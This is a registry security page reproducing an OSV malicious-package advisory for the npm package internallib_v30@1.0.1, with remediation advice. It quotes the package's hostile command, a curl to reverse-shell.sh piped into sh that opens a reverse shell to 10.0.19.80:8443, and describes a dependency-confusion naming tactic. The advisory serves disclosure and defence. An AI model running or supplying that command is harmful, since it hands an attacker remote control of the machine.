registry / internallib_v30 / 1.0.1

internallib_v30@1.0.1

OSV Malicious Advisory

imported 2d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-17633 confirms this npm version as malicious. internallib_v30@1.0.1 ships a single index.js whose exported command() function invokes /bin/bash -c with 'curl https://reverse-shell.sh/10.0.19.80:8443 | sh', fetching a remote shell script over HTTPS and piping it directly into sh. Invoking the exported function from any consumer causes the installer host to download and execute attacker-staged code that opens a reverse shell to 10.0.19.80 on port 8443...

Advisory

MAL-2026-17633

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in internallib_v30 (npm)

Details

internallib_v30@1.0.1 ships a single index.js whose exported command() function invokes /bin/bash -c with 'curl https://reverse-shell.sh/10.0.19.80:8443 | sh', fetching a remote shell script over HTTPS and piping it directly into sh. Invoking the exported function from any consumer causes the installer host to download and execute attacker-staged code that opens a reverse shell to 10.0.19.80 on port 8443. The package has no documented legitimate purpose, empty author/description metadata, and a name consistent with an internal/dependency-confusion target.

Decision reason

OpenSSF Malicious Packages via OSV confirms internallib_v30@1.0.1 as malicious (MAL-2026-17633): Malicious code in internallib_v30 (npm)

References

OSV advisory PACKAGE

Source & flagged code

0 flagged

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Source & flagged code

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Findings

1 High

HighOsv Malicious Advisory

Affected versions and remediation

This report applies to internallib_v30@1.0.1.

See version security history for other recorded verdicts.

Avoid installing internallib_v30@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-06 04:30:45.780Z (UTC).

Source advisory published: 2026-10-06 03:56:55.000Z (UTC).

This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.